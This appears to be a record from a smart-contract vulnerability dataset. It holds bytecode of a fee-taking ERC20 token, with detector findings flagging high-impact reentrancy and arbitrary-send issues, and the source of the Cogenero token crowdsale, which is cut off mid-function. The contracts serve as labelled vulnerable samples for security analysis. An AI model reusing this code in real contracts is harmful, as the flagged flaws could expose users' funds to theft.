ffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6001600a819055506009600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576001600a819055506009600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220628ecc53b1dfc841a3a8f80dfa6d9cdf165214e75be7f42f9c1dafa8225d69b864736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,872
0x7c4516d8bf5cb8cb806847050aeb18bc8f687239
pragma solidity ^0.4.19; /* Created by Cogenero Blockchain Solutions Limited */ // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract CogeneroToken is MintableToken { function allowTransfer(address _from, address _to) public view returns (bool); function allowManager() public view returns (bool); function setManager(address _manager, bool _status) onlyOwner public; function setAllowTransferGlobal(bool _status) public; function setAllowTransferLocal(bool _status) public; function setAllowTransferExternal(bool _status) public; function setWhitelist(address _address, uint256 _date) public; function setLockupList(address _address, uint256 _date) public; function setWildcardList(address _address, bool _status) public; function burn(address _burner, uint256 _value) onlyOwner public; } // File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold CogeneroToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (CogeneroToken); // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime; } } contract Cogenero is Crowdsale, Ownable { uint256 constant CAP = 1000000000000000000000000000; uint256 constant CAP_PRE_SALE = 180000000000000000000000000; uint256 constant CAP_ICO_SALE = 320000000000000000000000000; uint256 public rate8_end_at = 1556524800; uint256 public totalSupplyIco; function Cogenero ( uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet ) public Crowdsale(_startTime, _endTime, _rate, _wallet) { } function createTokenContract() internal returns (CogeneroToken) { return CogeneroToken(0x88218eb0756bCa01a9f6be0c6EfF641e9b4d8101); } // overriding Crowdsale#validPurchase function validPurchase() internal constant returns (bool) { if (msg.value < 20000000000000000) { return false; } if (token.totalSupply().add(msg.value.mul(getRate())) >= CAP) { return false; } if (now > 1538208000 && now < 1554105600) { return false; } if (1535788800 >= now && 1538208000 <= now) { if (token.totalSupply().add(msg.value.mul(getRate())) >= CAP_PRE_SALE) { return false; } } if (1554105600 >= now && 1556524800 <= now) { if (totalSupplyIco.add(msg.value.mul(getRate())) >= CAP_ICO_SALE) { return false; } } if (getRate() == 0) { return false; } return super.validPurchase(); } function buyTokens(address beneficiary) payable public { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(getRate()); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function getRate() public constant returns (uint256) { if (1535788800 <= now && now <= 1536393599) { return 30000; } if (1536393600 <= now && now <= 1536998399) { return 25500; } if (1536998400 <= now && now <= 1537603199) { return 22500; } if (1537603200 <= now && now <= 1538208000) { return 20000; } if (1554105600 <= now && now <= 1554710399) { return 8000; } if (1554710400 <= now && now <= 1555315199) { return 7000; } if (1555315200 <= now && now <= 1555919999) { return 6000; } if (1555920000 <= now && now <= rate8_end_at) { return 5000; } return 0; } function mintTokens(address walletToMint, uint256 t) onlyOwner payable public { require(token.totalSupply().add(t) < 